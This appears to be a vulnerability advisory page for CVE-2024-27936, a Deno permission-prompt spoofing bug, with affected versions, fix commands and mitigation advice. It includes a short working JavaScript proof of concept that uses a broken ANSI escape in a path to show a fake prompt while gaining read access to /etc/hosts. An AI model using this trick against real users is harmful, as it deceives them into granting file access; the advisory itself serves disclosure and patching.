CVE-2024-27936 is a high-severity (CVSS 8.8) CWE-150 vulnerability in deno. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for deno — see the affected versions and patch details below.
Deno interactive permission prompt spoofing via improper ANSI stripping
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-27936.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
deno🦀deno_runtimeReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.
Details
In the patch for CVE-2023-28446, Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.
For example, requesting the read permission with /tmp/hello\u001b[/../../etc/hosts as a path will display the /tmp/hellotc/hosts in the permission prompt, but the actual permission given to the program is /tmp/hello\u001b[/../../etc/hosts, which is /etc/hosts after the normalization.
This difference allows a malicious Deno program to spoof the contents of the permission prompt.
PoC
Run the following JavaScript and observe that /tmp/hellotc/hosts is displayed in the permission prompt instead of /etc/hosts, although Deno gives access to /etc/hosts.
const permission = { name: "read", path: "/tmp/hello\u001b[/../../etc/hosts" };
await Deno.permissions.request(permission);
console.log(await Deno.readTextFile("/etc/hosts"));
Expected prompt
┌ ⚠️ Deno requests read access to "/etc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >
Actual prompt
┌ ⚠️ Deno requests read access to "/tmp/hellotc/hosts".
├ Requested by `Deno.permissions.query()` API
├ Run again with --allow-read to bypass this prompt.
└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >
Impact
Any Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | deno | ≥ 1.32.1&&< 1.41.0 | 1.41.0cargo update -p deno --precise 1.41.0 |
| 🦀crates.io | deno_runtime | ≥ 0.103.0&&< 0.147.0 | 0.147.0cargo update -p deno_runtime --precise 0.147.0 |
Affected Products
denodenodeno runtimedenoResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for deno, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update deno to 1.41.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-27936 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2024-27936 in your dependencies?
Find it across crates.io, including transitive dependencies.